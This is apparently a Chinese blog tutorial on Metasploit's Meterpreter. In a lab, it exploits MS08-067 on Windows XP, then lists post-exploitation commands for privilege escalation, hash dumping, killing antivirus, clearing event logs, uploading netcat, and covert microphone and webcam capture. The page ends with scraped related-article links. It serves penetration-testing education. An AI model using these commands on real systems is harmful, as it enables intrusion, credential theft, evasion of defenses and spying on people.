MSF系列:

MSF——基本使用和Exploit模块(一)

MSF——Payload模块(二)

MSF——Meterpreter(三)

MSF——信息收集(四)

一、简介

Meterpreter是Metasploit提供的一个非常强大的后渗透工具

Meterpreter可以看成特殊的Payload,之前我们的Payload都是为了获得目标系统的shell

这里的payload就是shellcode,以获得目标系统的shell为目的的payload

我们获得的shell有些缺陷,仅利用shell来收集更多的信息、做更多的事情的话是一个偏笨拙的办法。利用Meterpreter可以打开麦克风、用图形界面显示被攻击者的操作界面等等。

Meterpreter有以下优势:

  • 完全基于内存的DLL注入式Payload,纯内存工作,不需要对磁盘进行任何写入操作
  • 使用加密通信协议,而且可以同时与几个信道通信
  • 在被攻击进程内工作,不需要创建新的进程
  • 易于在多进程之间迁移

执行过程:

  • 注入合法系统进程并建立Stager
  • 基于Stager上传和预加载DLL进行扩展模块的注入(客户端API)
  • 基于Stager建立的socket连接建立加密的TLS通信隧道
  • 利用TLS隧道进一步加载后续扩展模块(避免网络取证)

二、基本命令

获得Meterpreter Shell

我们先获得一个Meterpreter的shell然后继续后面的内容

实验机器:

  • Kali Rolling 4.8.10,IP地址192.168.171.129
  • Windows XP Professional SP3,打开445端口,关闭防火墙,IP地址192.168.171.134

XP打开445端口

在cmd命令中输入netstat -nao查看445端口是否在监听状态,如果是则跳过,不是则往下继续进行

依次打开目录HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\NetBT\Parameters,得到下面的结果

双击SMBDeviceEnabled

将数值数据改成1,然后点确定即可

输入netstat -nao,查看是否已经打开,如果没有则重启一下机器

Kali开始攻击

我们用ms08_067这个漏洞进行攻击,payload选择Meterpreter的payload,其中targets选择了 Id为34的系统,即Windows XP SP3 Chinese - Simplified (NX)

然后输入 exploit -j 进行攻击,可以看到先发送了stage,然后创建了Meterpreter会话

现在我们进入这个Meterpreter Shell

基本命令

可以输入help查看一些命令,如果想回到MSF可以输入background

  • pwd:pwd是Linux的命令,Windows是没有的,但在Meterpreter Shell中我们可以用这个命令查看当前所在的目录位置
  • cd:切换目录

  • dir / ls: 列出当前目录的内容

  • cat:查看文件内容
  • mkdir:创建目录
  • rm:删除文件
  • rmdir:删除文件夹
  • mv:移动文件
  • cp:复制文件
  • edit:其实就是Linux 下的 vi 命令
  • lpwd:指 local pwd,查看本地当前的工作目录
  • lcd:切换本地目录
  • getuid:查看Meterpreter登录到系统的用户
  • getsystem:获取system权限
  • getprivs:查看用户权限
  • getpid:Meterpreter是注入到一个合法的进程里面的,然后可以用ps查看我们注入的是哪个进程
  • migrate:将Meterpreter迁移到我们想注入的进程里面,migrate pid
    • 比如services.exe的pid是664,我们可以migrate 664
  • run / bgrun:运行命令,有200多个功能,但不保证所有模块能在目标机器上正常运行,bgrun是在后台运行而不是前台
    • run post/windows/manage/killav 用来杀掉杀毒软件
    • run post/windows/gather/smart_hashdump 获得系统账号和密码的hash,跟直接输入hashdump是一样的
    • run service_manager -l 获得目标系统的服务
    • run vnc 图形化的远程管理
  • clearev:清除目标系统日志。
    • XP电脑运行中输入eventvwr可以打开事件查看器
    • 这时候再去查看已经没有日志了,只有一条日志成功清除的记录

  • download:下载目标系统的文件到 “lpwd” 目录下
  • upload:上传文件,upload /usr/share/windows-binaries/nc.exe C:\\WINDOWS\\system32,“\”有转义符的意思,我们这里需要两条“\”
  • execute:执行命令,-f 后面跟需要执行的命令
    • 和cmd交互:execute -f cmd.exe -i,直接输入shell也能获得操作系统的shell
  • ps:查看目标正在运行的进程
  • netstat:查看目标的网络连接状况、端口开放情况
  • sysinfo:目标操作系统信息
  • kill:杀死进程
  • reboot:重启机器
  • shutdown:关闭机器
  • shell:获得操作系统的shell
  • show_mount:挂载了几个分区
  • search:搜索目标系统的上的文件
    • search -f win.ini
  • arp:查看目标机器的arp缓存
  • ipconfig / ifconfig:查看目标IP信息
  • route:查看路由表
    • 可以添加、删除路由,可以通过route -h查看操作
  • idletime:目标操作系统已经空闲了多长时间,即多长时间没进行操作。时间久可以猜测用户不在计算机前。
  • resource:调用一个外部的资源文件
    • 比如在Kali的“lpwd”目录创建一个 test.txt,里面填入“pwd”等命令,一条命令一行
    • resource test.txt
  • record_mic:用目标的麦克风记录声音
  • webcam_list:列出目标机器上的摄像头
  • webcam_snap:用摄像头拍照
    • webcam_snap -i 1 -v false:每隔1秒拍一次照

三、Meterpreter Python扩展

目标机器无需安装Python运行环境,就能运行原生Python代码。

这个扩展以插件的形式存在,我们需要先加载这个加载:

load python

  • python_execute "print ('hello')",直接执行python代码
  • python_execute "import os; cd = os.getcwd()" -r cd,将os.getcwd()赋值给 cd 这个变量,然后用 -r cd 读取 cd 这个变量的值
  • python_import -f test.py,导入一个写好的python脚本
# test.py
import os
print(os.getcwd())

MSF——Meterpreter(三)的更多相关文章

  1. 20164305 徐广皓 Exp5 MSF基础应用

    一.知识点总结 二.攻击实例 主动攻击的实践 ms08_067(win7) payload/generic/shell_reverse_tcp(失败) payload/windows/meterpre ...

  2. 2018-2019-2 20165323《网络攻防技术》Exp5 MSF基础应用

    一.知识点总结 1.MSF攻击方法 主动攻击:扫描主机漏洞,进行攻击 攻击浏览器 攻击其他客户端 2.MSF的六种模块 渗透攻击模块Exploit Modules:攻击漏洞,把shellcode&qu ...

  3. 2018-2019-2 20165336《网络攻防技术》Exp5 MSF基础应用

    2018-2019-2 20165336<网络攻防技术>Exp5 MSF基础应用 一.攻击实例 主动攻击的实践 ms08_067(成功) payload/generic/shell_rev ...

  4. 2018-2019-2 20165312《网络攻防技术》Exp5 MSF基础应用

    2018-2019-2 20165312<网络攻防技术>Exp5 MSF基础应用 目录 一.知识点总结 二.攻击实例 主动攻击的实践 ms08_067 payload/generic/sh ...

  5. 2018-2019-2 网络对抗技术 20165304 Exp5 MSF基础应用

    2018-2019-2 网络对抗技术 20165304Exp5 MSF基础应用 原理与实践说明 1.实践原理 1).MSF攻击方法 主动攻击:扫描主机漏洞,进行攻击 攻击浏览器 攻击其他客户端 2). ...

  6. 2018-2019-2 网络对抗技术 20165318 Exp5 MSF基础应用

    2018-2019-2 网络对抗技术 20165318 Exp5 MSF基础应用 原理与实践说明 实践原理 实践内容概述 基础问题回答 攻击实例 主动攻击的实践 ms08_067_netapi:自动化 ...

  7. 2018-2019-2 网络对抗技术 20165301 Exp5 MSF基础应用

    2018-2019-2 网络对抗技术 20165301 Exp5 MSF基础应用 实践原理 1.MSF攻击方法 主动攻击:扫描主机漏洞,进行攻击 攻击浏览器 攻击其他客户端 2.MSF的六个模块 查看 ...

  8. 2018-2019-2 20165212《网络攻防技术》Exp5 MSF基础应用

    2018-2019-2 20165212<网络攻防技术>Exp5 MSF基础应用 攻击成果 主动攻击的实践 ms17010eternalblue payload windows/x64/m ...

  9. cs配合msf批量探测内网MS17-010漏洞

    第一步 Cobalt strike 派生 shell 给 MSF(前提有个beacon shell) 第二步 选择要派生的beacon,右键-->增加会话,选择刚刚配置的foreign监听器 第 ...

随机推荐

  1. Pandas案例--人口密度分析

    需求: 导入文件,查看原始数据 将人口数据和各州简称数据进行合并 将合并的数据中重复的abbreviation列进行删除 查看存在缺失数据的列 找到有哪些state/region使得state的值为N ...

  2. Topcoder SRM652div2

    开始接触Topcode..div2.. 250题目: Problem Statement      You are given a String s consisting of lower to , ...

  3. APM-全链路追踪

    1.故障快速定位 跨语言实现开发中在业务日志中添加调用链ID,可以通过调用链结合业务日志快速定位错误信息. 2.各个调用环节的性能分析 分析调用链的各个环节耗时,分析系统的性能瓶颈,找到系统的薄弱环节 ...

  4. JVM(18)之 Class文件

    开发十年,就只剩下这套架构体系了! >>>   关于类加载机制的相关知识在前面的博文中暂时先讲那么多.中间留下了很多问题,从本篇博文开始,我们来一一解决.    从我们最陌生而又最熟 ...

  5. axios 如何获取下载文件的进度条

    exportFun(){         let _that = this         const instance = this.axios.create({           onDownl ...

  6. js 程序执行与顺序实现详解

    JavaScript是一种描述型脚本语言,由浏览器进行动态的解析与执行,浏览器对于不同的方式有不同的解析顺序,详细介绍如下,感兴趣的朋友可以参考下哈 函数的声明和调用 JavaScript是一种描述型 ...

  7. django学习笔记--数据库中的多表操作

    1.Django数据库----多表的新增操作 1.一对一模式下新增 创建一个详情对象,把这个对象赋值给创建的新的user对象 author_detail = models.AuthorDetail.o ...

  8. Sass函数-数字函数-floor()函数

    floor() 函数刚好与 ceil() 函数功能相反,其主要将一个数去除其小数部分,并且不做任何的进位.也就是只做舍,不做入的计算: >> floor(2.1) 2 >> f ...

  9. linux shell 指令

    一.文件比较运算符 1. e filename 如果 filename存在,则为真 如: [ -e /var/log/syslog ] 2. -d filename 如果 filename为目录,则为 ...

  10. [Luogu2170]选学霸

    这一道题,由于他说,"如果实力相当的人中,一部分被选上,另一部分没有,同学们就会抗议."而要求"既不让同学们抗议,又与原来的M尽可能接近".因此,我们要对实力相 ...